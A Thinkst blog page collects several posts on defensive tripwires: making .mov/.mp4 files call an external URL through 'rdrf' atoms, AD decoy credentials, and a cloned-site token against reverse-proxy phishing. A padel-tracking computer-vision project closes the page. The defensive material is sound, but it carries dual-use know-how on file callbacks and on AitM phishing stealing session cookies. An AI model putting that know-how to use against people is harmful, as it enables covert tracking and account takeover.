Home

Recently friend-of-Thinkst (and CTO of NCSC) Ollie Whitehouse tweeted this interesting tidbit:

We’re always looking for new types of Canarytokens, so it would be cool if we used this method to create video file Canarytokens.

Quick background explainer

We build Canaries that act as entire machines, require almost no configuration and boot as various Operating Systems. The logic is that it takes you less than a minute to set it up, and when an attacker lands on your network, they look for their loot, or move laterally and inevitably discover your Canary and interact with it (tipping their hand and revealing their presence).

Empirically, across 7 continents, Canaries just work.

We also build Canarytokens. These are smaller “tripwires” that can also be used to detect attackers, but work slightly differently.

They could be:

• A fake AWS API key, that you placed on your code-signing-server. An attacker who breaks into the code-sign-1 server and finds the key has to try it, since potentially it gives her access to a new network. And when they do, they tip their hand and you are notified.
• A fake MS-Excel file, maybe called server-passwords.xls.  Place that in the Documents folder of a DevOps employee’s laptop. An attacker who finds it assumes it’s her lucky day, opens the file, tips their hand and notifies you of their presence.
• A ton more exist (see the free Canarytokens website).

The AWS-API key token is defensive-gold. Attackers actively search for them. An attacker who finds them has to try them and bypassing them isn’t trivial.

A fake file Canarytoken (like an MS-Office file, or a PDF file) typically works by embedding some sort of remote reference into them. Many file formats make provision for URLs, and the document readers (e.g. MS Office, or Acrobat Reader) will see the URLs and attempt to fetch content. If we can get the document to reach out and touch a server we control, even if it’s just by making a DNS request, then we can reliably alert when the file is accessed. It’s surprising just how many file formats allow for URLs to be fetched; for example, when Windows launches a signed EXE binary it will look for a Certificate Revocation List (CRL) URL in the signature, and if one is present it’ll first attempt to download the CRL from the embedded URL.

Of course we have a bunch of files / techniques ready to use so anyone can deploy these tokens with almost no effort:

Taking a peek inside a QuickTime movie file

The QuickTime movie (.mov file) file format is a container format that contains media data as well as metadata describing the media data. Since the format is a container format, the media data doesn’t need to be decoded to parse and modify the metadata stored in the file.  

A .mov file contains many different atoms (also called sections). Each atom has a type and a size, while some atoms also contain additional fields and/or child atoms, leading to a tree structured file. This design allows an application to parse a QuickTime movie file while ignoring atom types (and by extension parts of the tree structure) that it doesn’t care about.

All .mov files contain one ‘moov’ atom, which is the parent atom of all metadata atoms describing the movie. Most .mov files also contain a ‘mdat’ atom, which stores the media data (encoded audio and video data). Movie files can also contain only reference movies (with no ‘mdat’ atom), such as the examples found here.

The ‘moov’ atom contains one or both of the following child atoms:

• ‘mvhd’ – A movie header atom which contains data describing the entire movie.
• ‘rmra’ – A reference movie atom which contains references to one or more movies (which can be on the local machine or on an external resource)

In order to specify a reference movie using a URL, a tree of atoms needs to be added to the ‘moov’ atom: ‘moov’ > ‘rmra’ > ‘rmda’ > ‘rdrf’. The URL is stored in the ‘rdrf’ atom.

Let’s make a video file token

So. Ollie pointed out that he could create a video file that triggered both a DNS request and an HTTP request by using ‘rdrf’ atoms. This seems like a token worth creating.

Imagine an attacker who broke in and saw (what she thought were) saved Zoom recordings, or interesting video files for use at media companies (think avengers_6_can_we_go_home_now.mp4), or recordings of board meetings.

A hex editor and ffmpeg’s reference files (which already contain ‘rdrf’ atoms) came in handy for a quick test. We could get VLC to send a request to a modified URL, but these .mov files don’t contain any video data, so we knew we could do better.

After writing a small script to add the ‘rdrf’ atoms pointing to an external URL to an existing .mov file, we had some early success with a token firing on VLC! This is exciting and blood-in-the-water; opening our video file with VLC yields the alert and tells us there’s potentially a new Canarytoken in the offing.

The .mov file’s structure is shown below (visualised by MP4Analyser). Multiple ‘rdrf’ atoms are necessary because VLC doesn’t fall back to the video data stored in the .mov file if the ‘rdrf’ atom’s URL does not resolve. Adding one ‘rdrf’ that points to an external URL and one that points to the local file works and VLC plays both references as a playlist of sorts.

One neat feature is that the code worked as-is on .mp4 files with VLC because of the similarities between the .mov and the .mp4 file format.

Our initial success was short-lived, however, since we quickly learned that the same file did not work on QuickTime or Windows Media Player. Windows Media Player completely ignores the ‘rdrf’ atoms and simply plays the video data stored in the .mov file. QuickTime refuses to open the file as soon as a ‘rmda’ atom is added (even if it contains no ‘rdrf’ atoms), despite Quick Look being able to play the file’s video data.

A philosophical detour

This is kinda par for the course when trying to create file-type Canarytokens. As defenders, we are hoping to exploit attacker behaviour to get a heads-up when they are operating. In some sense, we are hoping to exploit the behaviour of their machines. What would happen if the attacker opened the file in a non-standard application? What if they chose to read our Word-Doc in vim? 

In that sense, a Canarytoken is a lot like a tripwire, and the question is akin to: “what happens if an attacker steps over your tripwire?”. Nothing…

But, well placed tripwires will often work anyway and attackers who are aware of their existence, will find themselves moving much slower across a field than attackers who aren’t. It’s also a demonstration of why we really like Canarytokens which involve auth keys and third party services, where the attacker has to contact an Internet resource to check if it’s valid.

Can we get it working by tweaking the file?

We hypothesised that some of the additional metadata atoms (like ‘rmcd’ which specifies components required to play the ‘rdrf’ source, or ‘rmvc’ which specifies the required software version to play the ‘rdrf’ source) are required for QuickTime to play the file. After trying various configurations of metadata atoms to no avail, we tried our original file on an older version of QuickTime (7). Voilà! The token fired as expected. We therefore concluded that reference movies no longer work the same way (or aren’t supported at all) in the latest version of QuickTime (10.5).

A second look at the QTFF specification showed one other place where URLs can be used: ‘dref’ atoms. As a final test, we pointed the ‘dref’ url to an external URL, but this was ignored by both VLC and QuickTime.

It wasn’t meant to be… yet

Alas. Despite the coolness of getting a video player to hit an external URL when opening a video file, a video file that only fires when opened in VLC doesn’t fit our ideal use case, so we won’t be making an official Canarytoken out of it. (We do dozens and dozens of forays like this throughout the year, and only detections that we feel meet the bar of being easy to use and reliable make it as Canarytokens or Canary services).

The file format seems interesting though, with lots of room for fiddling. We may revisit it in the future, and figure this post will make it easier for others to go spelunking too.

tl;dr: You can now create breadcrumbs to lure attackers to your Canaries with just a few clicks.

Canaries and (their) Discoverability

Our thesis with Canary has always been simple: Attackers who land in your infrastructure need to situate themselves and they do this by looking around. They run commands and touch systems that regular users never need to. By being selective about which services Canaries offer we can find the sweet-spot of services that are super-trivial to deploy, super likely to be touched by attackers, and super likely to be ignored by regular users. We work hard for this trifecta and empirically, it works.

The good thing about well- designed Canaries is that attackers following their TTPs will interact with the Canaries when they find them. It’s why they are there…

But sometimes, defenders want to tip the scales. They want to leave a RDP session file on the backup server desktop that points to a Canary. They want to create an entry in an SSH config file that points to a Canary. Canary will now generate these for you with just a click.

Breadcrumbs are created based on the services your bird is running. So the crumbs for a Canary running SSH will be different to a Canary running RDP. But both should be dead simple to use.

Take it for a spin.. We think you will like it.

Attackers on your network love finding stray credentials. They are an easy way to elevate privileges and are often one of the first things attackers look for during post-exploitation.

There’s no shortage of places where these credentials can be found and surprisingly, there’s very little downside to attackers trying them…

…unless there’s a way to drop decoy credentials. This isn’t a new idea, but it usually requires heavy tooling and configuration.

Our newest AD tokens allow you to create fake credentials that can be left in all the familiar places, but without a heavy software component. A single, light-weight script that runs on your Domain Controller lets you know when the fake credentials are used.

Lets walk through typical usage:

1. Head over to your console to create a new “Active Directory Login” token:

2. You’ll need to add:

• A Token reminder, which is a note to your future-self reminding you where you placed the fake credentials. It’s possible that this token will fire months from now, when you’ve forgotten where you deployed it. The token reminder could be something like: credentials left in unattend.xml files on the backup server.
• A few fake usernames which when used will trigger the token (we’ll suggest some randomized plausible candidates for you automatically).

3. You can download these credentials as an unattend.xml file and/or as a plain text file to leave lying around.

4. Then you can download the token itself. This script will create a task on your server that catches the planted credential (attempted) usage. Run this script on a Domain Controller to set up the task.

5. An attacker who finds these credentials somewhere on your network will try them, which adds entries to event logs. The task processes the event logs and when it sees a login attempt for one of the fake credentials, it will fire off an alert to your Console (and announce their presence).

This is an unusual token for us, because it runs a script on your Domain Controller. We’ve kept the script simple and legible so that you can make sure it’s not doing anything nefarious (and so that the script logic can be easily extended). Our work on this token is inspired by IppSec, who showed an initial concept for an AD token that you can catch in his YouTube video here.

If you’d like to take it for a spin, reach out to us here. We’d love to hear how it works out!

Our Cloned Website Token has been available for a long time now, both on our public Canarytokens.org site as well as for our Canary customers. It’s helped users all over the world detect attacks early in the process. We wanted to take a moment and go over some of the details of this token: how it works, how to create and use one, and critically, how it fares against the new “Adversary-in-the-Middle” (AitM)-generation of phishing attacks..

The cloned website token is super simple: You get an alert any time your webpage is hosted or proxied through an unexpected location.

It’s free, it’s easy, and finding out your site has been cloned as soon as it happens gives defenders precious hours (or days) to get ahead of serious attacks.

Here is how you create it: 

1) Visit canarytokens.org

2) Select cloned site token

3) Add this JS to your site

4) You can choose to obfuscate it if you want

Now.. if an attacker clones or proxies your site… 

The JS runs.. If it is not on the right domain

You get an alert.

So, in essence. If the URL for a site that a user has visited, is not the same as the expected URL, you get an alert. 

Many of our customers also obfuscate the JavaScript, to avoid attackers that replace strings in a cloned site or proxied site. For example, if you just leave the plain text domain string example.com, attackers can simply match and replace that inside of your page. By adding obfuscation, you can make it more difficult to find and replace your token. Below is an example of a recent addition to our customer console, that allows teams to simply click to obfuscate the JavaScript.

We’ve also recently added obfuscation to our canarytokens.org site as well! 

That is the basics. Takes you just a few seconds to create and obfuscate the JS Snippet and insert it. Go ahead and create one and put it on a site today, don’t worry, I’ll wait! If you want to learn more, keep on reading. 

History of the Cloned Website Token – How did we get here?

This token has more than proved its worth from huge tech companies discovering their red teamers weeks before the official engagement has begun to large media houses actively fighting nation-state attackers.

Recently though, attackers have been upping their games with a move to making use of reverse proxies instead.

This allows duped users to interact with the original site, making the attacks more believable. Attackers can steal both usernames and passwords, as well as web based session tokens while providing a seamless experience to the users being phished.

What is a reverse proxy phishing attack?

The reverse proxy has been rediscovered with new enthusiasm and tools. In essence this is very similar to running a tool like Fiddler or Burp, where you can control and inspect and modify all the requests and responses. The attacker runs a reverse proxy and sits in the middle of the user and the legitimate server, hence Adversary-in-the-Middle. The attackers will send phishing emails or links, and hope you click on the site, and login–then they have captured your credentials. 

There are a number of tools on the market that allow you to perform these attacks. Some examples are Modlishka, Muraena and EvilGinx (see references below) . These tools grant an attacker or researcher or defender complete control over the HTTP[S] interactions. 

The researcher Kuba Gretzky and others have also done a number of talks and published extensive tools and documentation on this topic.

A common pattern is to register a domain name that is similar to the target that you hope to phish.

So suppose you have a nice website canaryexample.com. An attacker may register 3xample.com and then proxy victims to canaryexample.com through the fake site.

“The phishing page has two different Transport Layer Security (TLS) sessions—one with the target and another with the actual website the target wants to access. These sessions mean that the phishing page practically functions as an AiTM (Adversary in The Middle) agent, intercepting the whole authentication process and extracting valuable data from the HTTP requests such as passwords and, more importantly, session cookies. Once the attacker obtains the session cookie, they can inject it into their browser to skip the authentication process, even if the target’s MFA is enabled.” – Microsoft Threat Intelligence

What’s the difference with “basic” phishing attacks?

With basic phishing attacks, attackers attempt to recreate, or clone as faithfully as possible, a lookalike page (from Outlook, LinkedIn, Google, etc). They will then attempt to lure the victims into entering their credentials, which are then logged and stolen by the hacker.

A reverse proxy attack takes it one step further. Instead of showing a lookalike page, it simply relays traffic between the real website and the phished user. 

After clicking on a malicious link, phished victims are sent to the real website, unaware that the malicious proxy is capturing the data being transmitted between the victim and the site. There are no TLS warnings, since the domain the user lands on initially is controlled and issued a valid certificate to the attacker.

This is an excellent diagram showing inspection and manipulation of HTTP body in the pages that are served:

How does the Cloned Website Token perform in the face of this new/old technique?

tl;dr: Even in the face of these emerging attacks, the cloned website token performs as expected!

This token is based on a very simple check: Expected vs Actual location of the website.

By distilling this token down to the essence of the check, it allows us to endure across a wide range of geriatric as well as emerging attacks. While the attacker’s techniques may change, this simple token still endures.

Let’s imagine our login site is canaryexample.com, however, the URL I clicked is associated with 3xample.com.

We can see the difference between the expected URL and the actual URL.
This is picked up by our Canarytoken and alerts us even before a user has even attempted to login to the fake / proxied site.

We think this is very exciting for teams defending their web apps. 

You can do this for free, you can do it today. 

It’s a durable detection that works well in the face of emerging attacks. 

A few more final thoughts 

In our customer consoles we have an “ignore option” which is not available on canarytokens.org. The ignore list simply helps teams that have expected proxies or alternative hosting environments, or CDN, etc.. Even if you are using the open-source canarytokens.org, it’s important to think through possible expected domains that might trigger that don’t require an all-hands-on-deck response.

Proper Mitigation

While this may help you detect that your site has been cloned or is under an active proxy attempt, it is only a part of a holistic response to phishing campaigns. It is recommended to use FIDO2 as an MFA scheme as those authentication sessions are tied to the expected domain, so both simple cloning and AitM attacks will fail to get a session.  Microsoft offers other guidance as well: 

Closing thoughts

By adding a simple few lines of JavaScript, we can detect if a site we want to protect is being cloned or proxied. This gives defenders a quick insight that they may not otherwise have. Give it a try, it’s super easy, let us know how it goes. We are thankful for the authors of the reverse proxy tools for publishing their work and tooling to better help defenders with detection. It is important to realize, that without obfuscation, there is a chance your Cloned Website Token won’t alert, if the attacker is replacing strings–we’ve added obfuscation to help defenders. 

Thanks for reading. 

References 

1. https://blog.duszynski.eu/hijacking-browser-tls-traffic-through-client-domain-hooking/
2. https://blog.duszynski.eu/phishing-ng-bypassing-2fa-with-modlishka/
3. https://github.com/drk1wi/Modlishka
4. https://github.com/muraenateam/muraena
5. https://github.com/kgretzky/evilginx2
6. How Much Is The Phish? Evolving Defences Against Evilginx Reverse Proxy Phishing by Kuba Gretzky
7. Kuba Gretzky – Phishing Through Modern 2FA Defences With Evilginx
8. https://github.com/CERT-Polska/anti-modlishka
9. https://cert.pl/en/posts/2019/01/recommendations-on-mitigation-of-man-in-the-middle-phishing-attacks-evilginx2-modlishka/
10. Phishing with Modlishka (bypass 2FA)
11. https://www.microsoft.com/en-us/security/blog/2022/07/12/from-cookie-theft-to-bec-attackers-use-aitm-phishing-sites-as-entry-point-to-further-financial-fraud/
12. https://github.com/aalex954/evilginx2-TTPs
13. #HITB2019AMS D2T1 – Muraena: The Unexpected Phish – Michele Orru and Giuseppe Trotta
14. Muraena – Unexpected Phish
15. https://learn.microsoft.com/en-us/security/operations/token-theft-playbook
16. https://www.proofpoint.com/us/blog/threat-insight/mfa-psa-oh-my
17. https://catching-transparent-phish.github.io/catching_transparent_phish.pdf

Labs is the research arm of Thinkst but research has always been a key part of our company culture. All Thinksters are encouraged to work with Labs on longer term projects. These become that Thinkster’s “day job” for a while. (These are intended both for individual growth, and to stretch ourselves into new areas: They don’t have to be related to Canary or security).

I took a brief hiatus from the engineering team to explore a computer vision project: CourtVision.

CourtVision set out to explore how to process a video stream of a racquet and ball game (padel–popular in the southern hemisphere and growing in popularity world-wide!) from a stationary (but unaligned) camera and extract information about the game. Padel, like other racquet sports, is played on a regulation court with lines demarking in and out of bounds (though there are times when a ball is in play even outside of the court); CourtVision aimed to extract information such as player positions and ball trajectories from a video feed. Secondly, visualising these outputs to provide insights into game tactics and strategies.

While there are existing computer vision systems to track play in racquet games, namely the Hawk-Eye system, these require systems of multiple fixed, calibrated, and synchronised cameras. The CourtVision challenge was to offer similar outputs from a single viewpoint, that is not in a specific location in relation to the court

The problem formulation

The problem is thought of as unwinding the events that gave rise to the video.  To achieve this we draw on prior knowledge such as court layout and ball and player dynamics. At each moment during a game the light emanating from the scene is sampled (at 30 fps) and produces a sequence of images.

The problem now is to associate certain pixels in the image with objects in the scene we would like to know more about and then make estimates about the objects positions that best explain the sensor readings – image sequence. 

Starting from here a number of avenues were explored and below is a linearized path of how we went about solving this problem.  

The path is simple (looking back):

1.  Establish a mapping from world coordinates to image plane pixel locations.
2.  Detect objects of interest (players and ball) in each frame.
3.  Estimate the world coordinates of each object by leveraging the inverse mapping found in Part 1.

Establishing a mapping between world coordinates and image plane is a well understood problem and implementations exist in commonly used computer vision libraries. The unknown in our case is doing it given a single image. Taking inspiration from [3], where they used the net on a tennis court to form an additional plane, we took orthogonal planes from the court structure and jointly found the camera pose and intrinsic matrices. This is explained in Part 1of the blog below.

In Part 2 we expand on how we leveraged existing computer vision models to detect objects of interest in each frame. 

Previous works that attempted 3D tracking from a single camera relied on either: knowing the size of the object being tracked [1] and that its projected size is invariant to the viewing angle i.e spherical objects; or the object of interest followed purely ballistic trajectories [2]. Here, we modeled the ball trajectory as a ballistic trajectory but retained a multimodal distribution over the ball’s states in a particle filter allowing the tracker to quickly adapt to new trajectories (modes) without explicitly modeling the interaction with walls, floor and racket. Part 3 illustrates this approach.

We made the following assumptions: 

1. Camera is stationary (but does not need to be in a specific location)
2. Court dimensions are known.

Players’ feet remain on the ground. Part 3 illustrates limitations in our tracker and by making this assumption we could improve player tracking stability.

Part 1: Camera calibration and pose estimation

Extracting real-world measurements from a camera requires knowing both the extrinsics (position and pose) and the intrinsics (such as focal length and distortion coefficients) of the camera. Once these are known we can map any point in the world coordinate frame to a pixel location in the image. We can also project rays into the world coordinate system from a desired pixel location.

The trade off made for not having to collect data first hand is that little is known about the setup. In this case the camera intrinsics and extrinsics were unknown. The common approach to determine camera intrinsics is to capture a calibration sequence which is often a checkerboard pattern. Since we didn’t have such a luxury we exploited the structure in the scene and defined a set of planes for which the image plane and world coordinate correspondences could be identified. By doing this we effectively introduced a set of 8 planes (similar to a checkerboard) and performed camera calibrations from this. The mean reprojection error was approximately 9 pixels on 1080 x 1920 images. 

Part 2: Bootstrapping custom object detectors

There are a plethora of off-the-shelf models that can do object detection however, none have single class “padel ball” detectors. Fine-tuning such a model is fairly common and to achieve this a few annotated frames were needed. LabelStudio is a very versatile data labeling tool that makes it easy to “put a model in the loop”. By doing this we bootstrapped our ball detector by repeatedly annotating more images and each time using the latest model to automatically label the additional images that were manually verified and corrected.

Part 3: Bringing image detections to the real world

Making detections on an image plane tells us nothing about the player and balls position in the real world. To estimate the position of the ball and players we define a state for each player and the ball and then update this state based on the detections. To govern this process in a more principled manner we used a Bayesian filter and in particular a particle filter. 

A particle filter stores a distribution over the state of each object. This is stored as a vector and an associated weight indicating a probability mass. To illustrate this the top image in figure 4 shows the cloud of particles representing the state of the ball. During the filter’s update step we follow Bayes rule to update the weight of each particle based on how well they explain the observation (the image). As we can see the core of the particle cloud is around the ray emanating from the detected ball position in the image. All particles along that ray “explain” the observation equally well. The information held in that current state (prior) ensures the updated state does not naively squash all particles onto the ray. Bayesian filters like this are a great way to encode knowledge we have about the ball dynamics and current state and update this belief as we get more observations.

But we don’t want a fuzzy cloud around where the tracker “thinks” the ball is? We want to know the best estimate of the ball’s position. Once again we consult our probability distribution over our ball states. We can grab any statistic we want. The particle with the largest weight – argmax or the weighted mean over all states. Below is the weighted mean position of the ball. 

This approach shows promising results but we did see the tracker fail after a few missed detection and resulted in mode collapse. That is the distribution over ball state (cloud of particles as in figure 6) either dispersed or reduced to a point. Particle filters come in a number of flavors and we only implemented the simplest resampling methods so it might be a bug in this or just a naive choice somewhere. Ah, research, so many avenues to explore! 

To constrain the player tracking to a plane we called on assumption 3. from above and projected the ray to intersect with the ground plane. These results are shown below as a heatmap of player positions and velocity. Tracking under this constraint means a detected player (measurement) can be projected onto the ground plane (tracker state) with no information loss (3D to 2D) and our tracker remains performant.

Results

The ultimate goal of such a system is to provide insights into game play and strategies. To this end we show court occupation and player movement speeds. The position and velocity heatmaps of players during a rally. The bottom image has Team A in the foreground and Team B in the background. Here we can see where players were during the rally as well as how they moved. In this rally we can see Team A  (on the left) plays from deep while Team B (on the right) occupies the mid court far more. Translating this raw positional information into actionable insights remains as future work. 

Going from a set of hypotheses to evaluating them is a fun technical challenge and my time in Thinkst Labs was great. I still hope to bring this to a court sometime soon and test the final assumption: seeing game play metrics can improve tactics. 

Resources

A collection of tools this project found useful as well as outputs from this work.

• Great computer vision libraries:
  • Kornia
  • Pytorch
  • Ultralytics
• An amazing visualization tool ReRun
• Slick tool for writing type set documents Typst 
• Paper (pre-print) describing this work in detail
• Code associated with this project – CourtVision

References

[1] 3D Ball Localization From A Single Calibrated Image

[2] MonoTrack: Shuttle trajectory reconstruction from monocular badminton video

[3] Generic 3-D Modeling for Content Analysis of Court-Net Sports